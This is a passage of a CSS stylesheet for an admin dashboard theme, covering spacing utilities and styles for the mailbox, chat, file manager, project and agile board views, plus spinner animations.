!important;\n}\n\n.spiner-example {\n    height: 200px;\n    padding-top: 70px;\n}\n\n\n/* MARGINS & PADDINGS */\n\n.p-xxs {\n    padding: 5px;\n}\n\n.p-xs {\n    padding: 10px;\n}\n\n.p-sm {\n    padding: 15px;\n}\n\n.p-m {\n    padding: 20px;\n}\n\n.p-md {\n    padding: 25px;\n}\n\n.p-lg {\n    padding: 30px;\n}\n\n.p-xl {\n    padding: 40px;\n}\n\n.m-xxs {\n    margin: 2px 4px;\n}\n\n.m-xs {\n    margin: 5px;\n}\n\n.m-sm {\n    margin: 10px;\n}\n\n.m {\n    margin: 15px;\n}\n\n.m-md {\n    margin: 20px;\n}\n\n.m-lg {\n    margin: 30px;\n}\n\n.m-xl {\n    margin: 50px;\n}\n\n.m-n {\n    margin: 0 !important;\n}\n\n.m-l-none {\n    margin-left: 0;\n}\n\n.m-l-xs {\n    margin-left: 5px;\n}\n\n.m-l-sm {\n    margin-left: 10px;\n}\n\n.m-l {\n    margin-left: 15px;\n}\n\n.m-l-md {\n    margin-left: 20px;\n}\n\n.m-l-lg {\n    margin-left: 30px;\n}\n\n.m-l-xl {\n    margin-left: 40px;\n}\n\n.m-l-n-xxs {\n    margin-left: -1px;\n}\n\n.m-l-n-xs {\n    margin-left: -5px;\n}\n\n.m-l-n-sm {\n    margin-left: -10px;\n}\n\n.m-l-n {\n    margin-left: -15px;\n}\n\n.m-l-n-md {\n    margin-left: -20px;\n}\n\n.m-l-n-lg {\n    margin-left: -30px;\n}\n\n.m-l-n-xl {\n    margin-left: -40px;\n}\n\n.m-t-none {\n    margin-top: 0;\n}\n\n.m-t-xxs {\n    margin-top: 1px;\n}\n\n.m-t-xs {\n    margin-top: 5px;\n}\n\n.m-t-sm {\n    margin-top: 10px;\n}\n\n.m-t {\n    margin-top: 15px;\n}\n\n.m-t-md {\n    margin-top: 20px;\n}\n\n.m-t-lg {\n    margin-top: 30px;\n}\n\n.m-t-xl {\n    margin-top: 40px;\n}\n\n.m-t-n-xxs {\n    margin-top: -1px;\n}\n\n.m-t-n-xs {\n    margin-top: -5px;\n}\n\n.m-t-n-sm {\n    margin-top: -10px;\n}\n\n.m-t-n {\n    margin-top: -15px;\n}\n\n.m-t-n-md {\n    margin-top: -20px;\n}\n\n.m-t-n-lg {\n    margin-top: -30px;\n}\n\n.m-t-n-xl {\n    margin-top: -40px;\n}\n\n.m-r-none {\n    margin-right: 0;\n}\n\n.m-r-xxs {\n    margin-right: 1px;\n}\n\n.m-r-xs {\n    margin-right: 5px;\n}\n\n.m-r-sm {\n    margin-right: 10px;\n}\n\n.m-r {\n    margin-right: 15px;\n}\n\n.m-r-md {\n    margin-right: 20px;\n}\n\n.m-r-lg {\n    margin-right: 30px;\n}\n\n.m-r-xl {\n    margin-right: 40px;\n}\n\n.m-r-n-xxs {\n    margin-right: -1px;\n}\n\n.m-r-n-xs {\n    margin-right: -5px;\n}\n\n.m-r-n-sm {\n    margin-right: -10px;\n}\n\n.m-r-n {\n    margin-right: -15px;\n}\n\n.m-r-n-md {\n    margin-right: -20px;\n}\n\n.m-r-n-lg {\n    margin-right: -30px;\n}\n\n.m-r-n-xl {\n    margin-right: -40px;\n}\n\n.m-b-none {\n    margin-bottom: 0;\n}\n\n.m-b-xxs {\n    margin-bottom: 1px;\n}\n\n.m-b-xs {\n    margin-bottom: 5px;\n}\n\n.m-b-sm {\n    margin-bottom: 10px;\n}\n\n.m-b {\n    margin-bottom: 15px;\n}\n\n.m-b-md {\n    margin-bottom: 20px;\n}\n\n.m-b-lg {\n    margin-bottom: 30px;\n}\n\n.m-b-xl {\n    margin-bottom: 40px;\n}\n\n.m-b-n-xxs {\n    margin-bottom: -1px;\n}\n\n.m-b-n-xs {\n    margin-bottom: -5px;\n}\n\n.m-b-n-sm {\n    margin-bottom: -10px;\n}\n\n.m-b-n {\n    margin-bottom: -15px;\n}\n\n.m-b-n-md {\n    margin-bottom: -20px;\n}\n\n.m-b-n-lg {\n    margin-bottom: -30px;\n}\n\n.m-b-n-xl {\n    margin-bottom: -40px;\n}\n\n.space-15 {\n    margin: 15px 0;\n}\n\n.space-20 {\n    margin: 20px 0;\n}\n\n.space-25 {\n    margin: 25px 0;\n}\n\n.space-30 {\n    margin: 30px 0;\n}\n\nbody.modal-open {\n    padding-right: inherit !important;\n}\n\n\n/* SEARCH PAGE */\n\n.search-form {\n    margin-top: 10px;\n}\n\n.search-result h3 {\n    margin-bottom: 0;\n    color: #1E0FBE;\n}\n\n.search-result .search-link {\n    color: #006621;\n}\n\n.search-result p {\n    font-size: 12px;\n    margin-top: 5px;\n}\n\n\n/* CONTACTS */\n\n.contact-box {\n    background-color: #ffffff;\n    border: 1px solid #e7eaec;\n    padding: 20px;\n    margin-bottom: 20px;\n}\n\n.contact-box a {\n    color: inherit;\n}\n\n\n/* INVOICE */\n\n.invoice-table tbody > tr > td:last-child,\n.invoice-table tbody > tr > td:nth-child(4),\n.invoice-table tbody > tr > td:nth-child(3),\n.invoice-table tbody > tr > td:nth-child(2) {\n    text-align: right;\n}\n\n.invoice-table thead > tr > th:last-child,\n.invoice-table thead > tr > th:nth-child(4),\n.invoice-table thead > tr > th:nth-child(3),\n.invoice-table thead > tr > th:nth-child(2) {\n    text-align: right;\n}\n\n.invoice-total > tbody > tr > td:first-child {\n    text-align: right;\n}\n\n.invoice-total > tbody > tr > td {\n    border: 0 none;\n}\n\n.invoice-total > tbody > tr > td:last-child {\n    border-bottom: 1px solid #DDDDDD;\n    text-align: right;\n    width: 15%;\n}\n\n\n/* ERROR & LOGIN & LOCKSCREEN*/\n\n.middle-box {\n    max-width: 400px;\n    z-index: 100;\n    margin: 0 auto;\n    padding-top: 40px;\n}\n\n.lockscreen.middle-box {\n    width: 200px;\n    padding-top: 110px;\n}\n\n.loginscreen.middle-box {\n    width: 300px;\n}\n\n.loginColumns {\n    max-width: 800px;\n    margin: 0 auto;\n    padding: 100px 20px 20px 20px;\n}\n\n.passwordBox {\n    max-width: 460px;\n    margin: 0 auto;\n    padding: 100px 20px 20px 20px;\n}\n\n.logo-name {\n    color: #e6e6e6;\n    font-size: 180px;\n    font-weight: 800;\n    letter-spacing: -10px;\n    margin-bottom: 0px;\n}\n\n.middle-box h1 {\n    font-size: 170px;\n}\n\n.wrapper .middle-box {\n    margin-top: 140px;\n}\n\n.lock-word {\n    z-index: 10;\n    position: absolute;\n    top: 110px;\n    left: 50%;\n    margin-left: -470px;\n}\n\n.lock-word span {\n    font-size: 100px;\n    font-weight: 600;\n    color: #e9e9e9;\n    display: inline-block;\n}\n\n.lock-word .first-word {\n    margin-right: 160px;\n}\n\n\n/* DASBOARD */\n\n.dashboard-header {\n    border-top: 0;\n    padding: 20px 20px 20px 20px;\n}\n\n.dashboard-header h2 {\n    margin-top: 10px;\n    font-size: 26px;\n}\n\n.fist-item {\n    border-top: none !important;\n}\n\n.statistic-box {\n    margin-top: 40px;\n}\n\n.dashboard-header .list-group-item span.label {\n    margin-right: 10px;\n}\n\n.list-group.clear-list .list-group-item {\n    border-top: 1px solid #e7eaec;\n    border-bottom: 0;\n    border-right: 0;\n    border-left: 0;\n    padding: 10px 0;\n}\n\nul.clear-list:first-child {\n    border-top: none !important;\n}\n\n\n/* Intimeline */\n\n.timeline-item .date i {\n    position: absolute;\n    top: 0;\n    right: 0;\n    padding: 5px;\n    width: 30px;\n    text-align: center;\n    border-top: 1px solid #e7eaec;\n    border-bottom: 1px solid #e7eaec;\n    border-left: 1px solid #e7eaec;\n    background: #f8f8f8;\n}\n\n.timeline-item .date {\n    text-align: right;\n    width: 110px;\n    position: relative;\n    padding-top: 30px;\n}\n\n.timeline-item .content {\n    border-left: 1px solid #e7eaec;\n    border-top: 1px solid #e7eaec;\n    padding-top: 10px;\n    min-height: 100px;\n}\n\n.timeline-item .content:hover {\n    background: #f6f6f6;\n}\n\n\n/* PIN BOARD */\n\nul.notes li,\nul.tag-list li {\n    list-style: none;\n}\n\nul.notes li h4 {\n    margin-top: 20px;\n    font-size: 16px;\n}\n\nul.notes li div {\n    text-decoration: none;\n    color: #000;\n    background: #ffc;\n    display: block;\n    height: 140px;\n    width: 140px;\n    padding: 1em;\n    position: relative;\n}\n\nul.notes li div small {\n    position: absolute;\n    top: 5px;\n    right: 5px;\n    font-size: 10px;\n}\n\nul.notes li div a {\n    position: absolute;\n    right: 10px;\n    bottom: 10px;\n    color: inherit;\n}\n\nul.notes li {\n    margin: 10px 40px 50px 0px;\n    float: left;\n}\n\nul.notes li div p {\n    font-size: 12px;\n}\n\nul.notes li div {\n    text-decoration: none;\n    color: #000;\n    background: #ffc;\n    display: block;\n    height: 140px;\n    width: 140px;\n    padding: 1em;\n    /* Firefox */\n    /* Safari+Chrome */\n    /* Opera */\n    box-shadow: 5px 5px 2px rgba(33, 33, 33, 0.7);\n}\n\nul.notes li div {\n    -webkit-transform: rotate(-6deg);\n    -o-transform: rotate(-6deg);\n    -moz-transform: rotate(-6deg);\n}\n\nul.notes li:nth-child(even) div {\n    -o-transform: rotate(4deg);\n    -webkit-transform: rotate(4deg);\n    -moz-transform: rotate(4deg);\n    position: relative;\n    top: 5px;\n}\n\nul.notes li:nth-child(3n) div {\n    -o-transform: rotate(-3deg);\n    -webkit-transform: rotate(-3deg);\n    -moz-transform: rotate(-3deg);\n    position: relative;\n    top: -5px;\n}\n\nul.notes li:nth-child(5n) div {\n    -o-transform: rotate(5deg);\n    -webkit-transform: rotate(5deg);\n    -moz-transform: rotate(5deg);\n    position: relative;\n    top: -10px;\n}\n\nul.notes li div:hover,\nul.notes li div:focus {\n    -webkit-transform: scale(1.1);\n    -moz-transform: scale(1.1);\n    -o-transform: scale(1.1);\n    position: relative;\n    z-index: 5;\n}\n\nul.notes li div {\n    text-decoration: none;\n    color: #000;\n    background: #ffc;\n    display: block;\n    height: 210px;\n    width: 210px;\n    padding: 1em;\n    box-shadow: 5px 5px 7px rgba(33, 33, 33, 0.7);\n    -webkit-transition: -webkit-transform 0.15s linear;\n}\n\n\n/* FILE MANAGER */\n\n.file-box {\n    float: left;\n    width: 220px;\n}\n\n.file-manager h5 {\n    text-transform: uppercase;\n}\n\n.file-manager {\n    list-style: none outside none;\n    margin: 0;\n    padding: 0;\n}\n\n.folder-list li a {\n    color: #666666;\n    display: block;\n    padding: 5px 0;\n}\n\n.folder-list li {\n    border-bottom: 1px solid #e7eaec;\n    display: block;\n}\n\n.folder-list li i {\n    margin-right: 8px;\n    color: #3d4d5d;\n}\n\n.category-list li a {\n    color: #666666;\n    display: block;\n    padding: 5px 0;\n}\n\n.category-list li {\n    display: block;\n}\n\n.category-list li i {\n    margin-right: 8px;\n    color: #3d4d5d;\n}\n\n.category-list li a .text-navy {\n    color: #1ab394;\n}\n\n.category-list li a .text-primary {\n    color: #1c84c6;\n}\n\n.category-list li a .text-info {\n    color: #23c6c8;\n}\n\n.category-list li a .text-danger {\n    color: #EF5352;\n}\n\n.category-list li a .text-warning {\n    color: #F8AC59;\n}\n\n.file-manager h5.tag-title {\n    margin-top: 20px;\n}\n\n.tag-list li {\n    float: left;\n}\n\n.tag-list li a {\n    font-size: 10px;\n    background-color: #f3f3f4;\n    padding: 5px 12px;\n    color: inherit;\n    border-radius: 2px;\n    border: 1px solid #e7eaec;\n    margin-right: 5px;\n    margin-top: 5px;\n    display: block;\n}\n\n.file {\n    border: 1px solid #e7eaec;\n    padding: 0;\n    background-color: #ffffff;\n    position: relative;\n    margin-bottom: 20px;\n    margin-right: 20px;\n}\n\n.file-manager .hr-line-dashed {\n    margin: 15px 0;\n}\n\n.file .icon,\n.file .image {\n    height: 100px;\n    overflow: hidden;\n}\n\n.file .icon {\n    padding: 15px 10px;\n    text-align: center;\n}\n\n.file-control {\n    color: inherit;\n    font-size: 11px;\n    margin-right: 10px;\n}\n\n.file-control.active {\n    text-decoration: underline;\n}\n\n.file .icon i {\n    font-size: 70px;\n    color: #dadada;\n}\n\n.file .file-name {\n    padding: 10px;\n    background-color: #f8f8f8;\n    border-top: 1px solid #e7eaec;\n}\n\n.file-name small {\n    color: #676a6c;\n}\n\n.corner {\n    position: absolute;\n    display: inline-block;\n    width: 0;\n    height: 0;\n    line-height: 0;\n    border: 0.6em solid transparent;\n    border-right: 0.6em solid #f1f1f1;\n    border-bottom: 0.6em solid #f1f1f1;\n    right: 0em;\n    bottom: 0em;\n}\n\na.compose-mail {\n    padding: 8px 10px;\n}\n\n.mail-search {\n    max-width: 300px;\n}\n\n\n/* PROFILE */\n\n.profile-content {\n    border-top: none !important;\n}\n\n.feed-activity-list .feed-element {\n    border-bottom: 1px solid #e7eaec;\n}\n\n.feed-element:first-child {\n    margin-top: 0;\n}\n\n.feed-element {\n    padding-bottom: 15px;\n}\n\n.feed-element,\n.feed-element .media {\n    margin-top: 15px;\n}\n\n.feed-element,\n.media-body {\n    overflow: hidden;\n}\n\n.feed-element > .pull-left {\n    margin-right: 10px;\n}\n\n.feed-element img.img-circle,\n.dropdown-messages-box img.img-circle {\n    width: 38px;\n    height: 38px;\n}\n\n.feed-element .well {\n    border: 1px solid #e7eaec;\n    box-shadow: none;\n    margin-top: 10px;\n    margin-bottom: 5px;\n    padding: 10px 20px;\n    font-size: 11px;\n    line-height: 16px;\n}\n\n.feed-element .actions {\n    margin-top: 10px;\n}\n\n.feed-element .photos {\n    margin: 10px 0;\n}\n\n.feed-photo {\n    max-height: 180px;\n    border-radius: 4px;\n    overflow: hidden;\n    margin-right: 10px;\n    margin-bottom: 10px;\n}\n\n\n/* MAILBOX */\n\n.mail-box {\n    background-color: #ffffff;\n    border: 1px solid #e7eaec;\n    border-top: 0;\n    padding: 0px;\n    margin-bottom: 20px;\n}\n\n.mail-box-header {\n    background-color: #ffffff;\n    border: 1px solid #e7eaec;\n    border-bottom: 0;\n    padding: 30px 20px 20px 20px;\n}\n\n.mail-box-header h2 {\n    margin-top: 0px;\n}\n\n.mailbox-content .tag-list li a {\n    background: #ffffff;\n}\n\n.mail-body {\n    border-top: 1px solid #e7eaec;\n    padding: 20px;\n}\n\n.mail-text {\n    border-top: 1px solid #e7eaec;\n}\n\n.mail-text .note-toolbar {\n    padding: 10px 15px;\n}\n\n.mail-body .form-group {\n    margin-bottom: 5px;\n}\n\n.mail-text .note-editor .note-toolbar {\n    background-color: #F9F8F8;\n}\n\n.mail-attachment {\n    border-top: 1px solid #e7eaec;\n    padding: 20px;\n    font-size: 12px;\n}\n\n.mailbox-content {\n    background: none;\n    border: none;\n    padding: 10px;\n}\n\n.mail-ontact {\n    width: 23%;\n}\n\n\n/* PROJECTS */\n\n.project-people,\n.project-actions {\n    text-align: right;\n    vertical-align: middle;\n}\n\ndd.project-people {\n    text-align: left;\n    margin-top: 5px;\n}\n\n.project-people img {\n    width: 32px;\n    height: 32px;\n}\n\n.project-title a {\n    font-size: 14px;\n    color: #676a6c;\n    font-weight: 600;\n}\n\n.project-list table tr td {\n    border-top: none;\n    border-bottom: 1px solid #e7eaec;\n    padding: 15px 10px;\n    vertical-align: middle;\n}\n\n.project-manager .tag-list li a {\n    font-size: 10px;\n    background-color: white;\n    padding: 5px 12px;\n    color: inherit;\n    border-radius: 2px;\n    border: 1px solid #e7eaec;\n    margin-right: 5px;\n    margin-top: 5px;\n    display: block;\n}\n\n.project-files li a {\n    font-size: 11px;\n    color: #676a6c;\n    margin-left: 10px;\n    line-height: 22px;\n}\n\n\n/* FAQ */\n\n.faq-item {\n    padding: 20px;\n    margin-bottom: 2px;\n    background: #fff;\n}\n\n.faq-question {\n    font-size: 18px;\n    font-weight: 600;\n    color: #1ab394;\n    display: block;\n}\n\n.faq-question:hover {\n    color: #179d82;\n}\n\n.faq-answer {\n    margin-top: 10px;\n    background: #f3f3f4;\n    border: 1px solid #e7eaec;\n    border-radius: 3px;\n    padding: 15px;\n}\n\n.faq-item .tag-item {\n    background: #f3f3f4;\n    padding: 2px 6px;\n    font-size: 10px;\n    text-transform: uppercase;\n}\n\n\n/* Chat view */\n\n.message-input {\n    height: 90px !important;\n}\n\n.chat-avatar {\n    white: 36px;\n    height: 36px;\n    float: left;\n    margin-right: 10px;\n}\n\n.chat-user-name {\n    padding: 10px;\n}\n\n.chat-user {\n    padding: 8px 10px;\n    border-bottom: 1px solid #e7eaec;\n}\n\n.chat-user a {\n    color: inherit;\n}\n\n.chat-view {\n    z-index: 20012;\n}\n\n.chat-users,\n.chat-statistic {\n    margin-left: -30px;\n}\n\n@media (max-width: 992px) {\n    .chat-users,\n    .chat-statistic {\n        margin-left: 0px;\n    }\n}\n\n.chat-view .ibox-content {\n    padding: 0;\n}\n\n.chat-message {\n    padding: 10px 20px;\n}\n\n.message-avatar {\n    height: 48px;\n    width: 48px;\n    border: 1px solid #e7eaec;\n    border-radius: 4px;\n    margin-top: 1px;\n}\n\n.chat-discussion .chat-message:nth-child(2n+1) .message-avatar {\n    float: left;\n    margin-right: 10px;\n}\n\n.chat-discussion .chat-message:nth-child(2n) .message-avatar {\n    float: right;\n    margin-left: 10px;\n}\n\n.message {\n    background-color: #fff;\n    border: 1px solid #e7eaec;\n    text-align: left;\n    display: block;\n    padding: 10px 20px;\n    position: relative;\n    border-radius: 4px;\n}\n\n.chat-discussion .chat-message:nth-child(2n+1) .message-date {\n    float: right;\n}\n\n.chat-discussion .chat-message:nth-child(2n) .message-date {\n    float: left;\n}\n\n.chat-discussion .chat-message:nth-child(2n+1) .message {\n    text-align: left;\n    margin-left: 55px;\n}\n\n.chat-discussion .chat-message:nth-child(2n) .message {\n    text-align: right;\n    margin-right: 55px;\n}\n\n.message-date {\n    font-size: 10px;\n    color: #888888;\n}\n\n.message-content {\n    display: block;\n}\n\n.chat-discussion {\n    background: #eee;\n    padding: 15px;\n    height: 400px;\n    overflow-y: auto;\n}\n\n.chat-users {\n    overflow-y: auto;\n    height: 400px;\n}\n\n.chat-message-form .form-group {\n    margin-bottom: 0;\n}\n\n\n/* jsTree */\n\n.jstree-open > .jstree-anchor > .fa-folder:before {\n    content: \"\\f07c\";\n}\n\n.jstree-default .jstree-icon.none {\n    width: 0;\n}\n\n\n/* CLIENTS */\n\n.clients-list {\n    margin-top: 20px;\n}\n\n.clients-list .tab-pane {\n    position: relative;\n    height: 600px;\n}\n\n.client-detail {\n    position: relative;\n    height: 620px;\n}\n\n.clients-list table tr td {\n    height: 46px;\n    vertical-align: middle;\n    border: none;\n}\n\n.client-link {\n    font-weight: 600;\n    color: inherit;\n}\n\n.client-link:hover {\n    color: inherit;\n}\n\n.client-avatar {\n    width: 42px;\n}\n\n.client-avatar img {\n    width: 28px;\n    height: 28px;\n    border-radius: 50%;\n}\n\n.contact-type {\n    width: 20px;\n    color: #c1c3c4;\n}\n\n.client-status {\n    text-align: left;\n}\n\n.client-detail .vertical-timeline-content p {\n    margin: 0;\n}\n\n.client-detail .vertical-timeline-icon.gray-bg {\n    color: #a7aaab;\n}\n\n.clients-list .nav-tabs > li.active > a,\n.clients-list .nav-tabs > li.active > a:hover,\n.clients-list .nav-tabs > li.active > a:focus {\n    border-bottom: 1px solid #fff;\n}\n\n\n/* BLOG ARTICLE */\n\n.blog h2 {\n    font-weight: 700;\n}\n\n.blog h5 {\n    margin: 0 0 5px 0;\n}\n\n.blog .btn {\n    margin: 0 0 5px 0;\n}\n\n.article h1 {\n    font-size: 48px;\n    font-weight: 700;\n    color: #2F4050;\n}\n\n.article p {\n    font-size: 15px;\n    line-height: 26px;\n}\n\n.article-title {\n    text-align: center;\n    margin: 60px 0 40px 0;\n}\n\n.article .ibox-content {\n    padding: 40px;\n}\n\n\n/* ISSUE TRACKER */\n\n.issue-tracker .btn-link {\n    color: #1ab394;\n}\n\ntable.issue-tracker tbody tr td {\n    vertical-align: middle;\n    height: 50px;\n}\n\n.issue-info {\n    width: 50%;\n}\n\n.issue-info a {\n    font-weight: 600;\n    color: #676a6c;\n}\n\n.issue-info small {\n    display: block;\n}\n\n\n/* TEAMS */\n\n.team-members {\n    margin: 10px 0;\n}\n\n.team-members img.img-circle {\n    width: 42px;\n    height: 42px;\n    margin-bottom: 5px;\n}\n\n\n/* AGILE BOARD */\n\n.sortable-list {\n    padding: 10px 0;\n}\n\n.agile-list {\n    list-style: none;\n    margin: 0;\n}\n\n.agile-list li {\n    background: #FAFAFB;\n    border: 1px solid #e7eaec;\n    margin: 0px 0 10px 0;\n    padding: 10px;\n    border-radius: 2px;\n}\n\n.agile-list li:hover {\n    cursor: pointer;\n    background: #fff;\n}\n\n.agile-list li.warning-element {\n    border-left: 3px solid #f8ac59;\n}\n\n.agile-list li.danger-element {\n    border-left: 3px solid #ed5565;\n}\n\n.agile-list li.info-element {\n    border-left: 3px solid #1c84c6;\n}\n\n.agile-list li.success-element {\n    border-left: 3px solid #1ab394;\n}\n\n.agile-detail {\n    margin-top: 5px;\n    font-size: 12px;\n}\n\n\n/* DIFF */\n\nins {\n    background-color: #c6ffc6;\n    text-decoration: none;\n}\n\ndel {\n    background-color: #ffc6c6;\n}\n\n#small-chat {\n    position: fixed;\n    bottom: 50px;\n    right: 26px;\n    z-index: 100;\n}\n\n#small-chat .badge {\n    position: absolute;\n    top: -3px;\n    right: -4px;\n}\n\n.open-small-chat {\n    height: 38px;\n    width: 38px;\n    display: block;\n    background: #1ab394;\n    padding: 9px 8px;\n    text-align: center;\n    color: #fff;\n    border-radius: 50%;\n}\n\n.open-small-chat:hover {\n    color: white;\n    background: #1ab394;\n}\n\n.small-chat-box {\n    display: none;\n    position: fixed;\n    bottom: 50px;\n    right: 80px;\n    background: #fff;\n    border: 1px solid #e7eaec;\n    width: 230px;\n    height: 320px;\n    border-radius: 4px;\n}\n\n.small-chat-box.ng-small-chat {\n    display: block;\n}\n\n.body-small .small-chat-box {\n    bottom: 70px;\n    right: 20px;\n}\n\n.small-chat-box.active {\n    display: block;\n}\n\n.small-chat-box .heading {\n    background: #2f4050;\n    padding: 8px 15px;\n    font-weight: bold;\n    color: #fff;\n}\n\n.small-chat-box .chat-date {\n    opacity: 0.6;\n    font-size: 10px;\n    font-weight: normal;\n}\n\n.small-chat-box .content {\n    padding: 15px 15px;\n}\n\n.small-chat-box .content .author-name {\n    font-weight: bold;\n    margin-bottom: 3px;\n    font-size: 11px;\n}\n\n.small-chat-box .content > div {\n    padding-bottom: 20px;\n}\n\n.small-chat-box .content .chat-message {\n    padding: 5px 10px;\n    border-radius: 6px;\n    font-size: 11px;\n    line-height: 14px;\n    max-width: 80%;\n    background: #f3f3f4;\n    margin-bottom: 10px;\n}\n\n.small-chat-box .content .chat-message.active {\n    background: #1ab394;\n    color: #fff;\n}\n\n.small-chat-box .content .left {\n    text-align: left;\n    clear: both;\n}\n\n.small-chat-box .content .left .chat-message {\n    float: left;\n}\n\n.small-chat-box .content .right {\n    text-align: right;\n    clear: both;\n}\n\n.small-chat-box .content .right .chat-message {\n    float: right;\n}\n\n.small-chat-box .form-chat {\n    padding: 10px 10px;\n}\n\n\n/*\n *  Usage:\n *\n *    <div class=\"sk-spinner sk-spinner-rotating-plane\"></div>\n *\n */\n\n.sk-spinner-rotating-plane.sk-spinner {\n    width: 30px;\n    height: 30px;\n    background-color: #1ab394;\n    margin: 0 auto;\n    -webkit-animation: sk-rotatePlane 1.2s infinite ease-in-out;\n    animation: sk-rotatePlane 1.2s infinite ease-in-out;\n}\n\n@-webkit-keyframes sk-rotatePlane {\n    0% {\n        -webkit-transform: perspective(120px) rotateX(0deg) rotateY(0deg);\n        transform: perspective(120px) rotateX(0deg) rotateY(0deg);\n    }\n    50% {\n        -webkit-transform: perspective(120px) rotateX(-180.1deg) rotateY(0deg);\n        transform: perspective(120px) rotateX(-180.1deg) rotateY(0deg);\n    }\n    100% {\n        -webkit-transform: perspective(120px) rotateX(-180deg) rotateY(-179.9deg);\n        transform: perspective(120px) rotateX(-180deg) rotateY(-179.9deg);\n    }\n}\n\n@keyframes sk-rotatePlane {\n    0% {\n        -webkit-transform: perspective(120px) rotateX(0deg) rotateY(0deg);\n        transform: perspective(120px) rotateX(0deg) rotateY(0deg);\n    }\n    50% {\n        -webkit-transform: perspective(120px) rotateX(-180.1deg) rotateY(0deg);\n        transform: perspective(120px) rotateX(-180.1deg) rotateY(0deg);\n    }\n    100% {\n        -webkit-transform: perspective(120px) rotateX(-180deg) rotateY(-179.9deg);\n        transform: perspective(120px) rotateX(-180deg) rotateY(-179.9deg);\n    }\n}\n\n\n/*\n *  Usage:\n *\n *    <div class=\"sk-spinner sk-spinner-double-bounce\">\n *      <div class=\"sk-double-bounce1\"></div>\n *      <div class=\"sk-double-bounce2\"></div>\n *    </div>\n *\n */\n\n.sk-spinner-double-bounce.sk-spinner {\n    width: 40px;\n    height: 40px;\n    position: relative;\n    margin: 0 auto;\n}\n\n.sk-spinner-double-bounce .sk-double-bounce1,\n.sk-spinner-double-bounce .sk-double-bounce2 {\n    width: 100%;\n    height: 100%;\n    border-radius: 50%;\n    background-color: #1ab394;\n    opacity: 0.6;\n    position: absolute;\n    top: 0;\n    left: 0;\n    -webkit-animation: sk-doubleBounce 2s infinite ease-in-out;\n    animation: sk-doubleBounce 2s infinite ease-in-out;\n}\n\n.sk-spinner-double-bounce .sk-double-bounce2 {\n    -webkit-animation-delay: -1s;\n    animation-delay: -1s;\n}\n\n@-webkit-keyframes sk-doubleBounce {\n    0%,\n    100% {\n        -webkit-transform: scale(0);\n        transform: scale(0);\n    }\n    50% {\n        -webkit-transform: scale(1);\n        transform: scale(1);\n    }\n}\n\n@keyframes sk-doubleBounce {\n    0%,\n    100% {\n        -webkit-transform: scale(0);\n        transform: scale(0);\n    }\n    50% {\n        -webkit-transform: scale(1);\n        transform: scale(1);\n    }\n}\n\n\n/*\n *  Usage:\n *\n *    <div class=\"sk-spinner sk-spinner-wave\">\n *      <div class=\"sk-rect1\"></div>\n *      <div class=\"sk-rect2\"></div>\n *      <div class=\"sk-rect3\"></div>\n *      <div class=\"sk-rect4\"></div>\n *      <div class=\"sk-rect5\"></div>\n *    </div>\n *\n */\n\n.sk-spinner-wave.sk-spinner {\n    margin: 0 auto;\n    width: 50px;\n    height: 30px;\n    text-align: center;\n    font-size: 10px;\n}\n\n.sk-spinner-wave div {\n    background-color: #1ab394;\n    height: 100%;\n    width: 6px;\n    display: inline-block;\n    -webkit-animation: sk-waveStretchDelay 1.2s infinite ease-in-out;\n    animation: sk-waveStretchDelay 1.2s infinite ease-in-out;\n}\n\n.sk-spinner-wave .sk-rect2 {\n    -webkit-animation-delay: -1.1s;\n    animation-delay: -1.1s;\n}\n\n.sk-spinner-wave .sk-rect3 {\n    -webkit-animation-delay: -1s;\n    animation-delay: -1s;\n}\n\n.sk-spinner-wave .sk-rect4 {\n    -webkit-animation-delay: -0.9s;\n    animation-delay: -0.9s;\n}\n\n.sk-spinner-wave .sk-rect5 {\n    -webkit-animation-delay: -0.8s;\n    animation-delay: -0.8s;\n}\n\n@-webkit-keyframes sk-waveStretchDelay {\n    0%,\n    40%,\n    100% {\n        -webkit-transform: scaleY(0.4);\n        transform: scaleY(0.4);\n    }\n    20% {\n        -webkit-transform: scaleY(1);\n        transform: scaleY(1);\n    }\n}\n\n@keyframes sk-waveStretchDelay {\n    0%,\n    40%,\n    100% {\n        -webkit-transform: scaleY(0.4);\n        transform: scaleY(0.4);\n    }\n    20% {\n        -webkit-transform: scaleY(1);\n        transform: scaleY(1);\n    }\n}\n\n\n/*\n *  Usage:\n *\n *    <div class=\"sk-spinner sk-spinner-wandering-cubes\">\n *      <div class=\"sk-cube1\"></div>\n *      <div class=\"sk-cube2\"></div>\n *    </div>\n *\n */\n\n.sk-spinner-wandering-cubes.sk-spinner {\n    margin: 0 auto;\n    width: 32px;\n    height: 32px;\n    position: relative;\n}\n\n.sk-spinner-wandering-cubes .sk-cube1,\n.sk-spinner-wandering-cubes .sk-cube2 {\n    background-color: #1ab394;\n    width: 10px;\n    height: 10px;\n    position: absolute;\n    top: 0;\n    left: 0;\n    -webkit-animation: sk-wanderingCubeMove 1.8s infinite ease-in-out;\n    animation: sk-wanderingCubeMove 1.8s infinite ease-in-out;\n}\n\n.sk-spinner-wandering-cubes .sk-cube2 {\n    -webkit-animation-delay: -0.9s;\n    animation-delay: -0.9s;\n}\n\n@-webkit-keyframes sk-wanderingCubeMove {\n    25% {\n        -webkit-transform: translateX(42px) rotate(-90deg) scale(0.5);\n        transform: translateX(42px) rotate(-90deg) scale(0.5);\n    }\n    50% {\n        /* Hack to make FF rotate in the right direction */\n        -webkit-transform: translateX(42px) translateY(42px) rotate(-179deg);\n        transform: translateX(42px) translateY(42px) rotate(-179deg);\n    }\n    50.1% {\n        -webkit-transform: translateX(42px) translateY(42px) rotate(-180deg);\n        transform: translateX(42px) translateY(42px) rotate(-180deg);\n    }\n    75% {\n        -webkit-transform: translateX(0px) translateY(42px) rotate(-270deg) scale(0.5);\n        transform: translateX(0px) translateY(42px) rotate(-270deg) scale(0.5);\n    }\n    100% {\n        -webkit-transform: rotate(-360deg);\n        transform: rotate(-360deg);\n    }\n}\n\n@keyframes sk-wanderingCubeMove {\n    25% {\n        -webkit-transform: translateX(42px) rotate(-90deg) scale(0.5);\n        transform: translateX(42px) rotate(-90deg) scale(0.5);\n    }\n    50% {\n        /* Hack to make FF rotate in the right direction */\n        -webkit-transform: translateX(42px) translateY(42px) rotate(-179deg);\n        transform: translateX(42px) translateY(42px) rotate(-179deg);\n    }\n    50.1% {\n        -webkit-transform: translateX(42px) translateY(42px) rotate(-180deg);\n        transform: translateX(42px) translateY(42px) rotate(-180deg);\n    }\n    75% {\n        -webkit-transform: translateX(0px) translateY(42px) rotate(-270deg) scale(0.5);\n        transform: translateX(0px) translateY(42px) rotate(-270deg) scale(0.5);\n    }\n    100% {\n        -webkit-transform: rotate(-360deg);\n        transform: 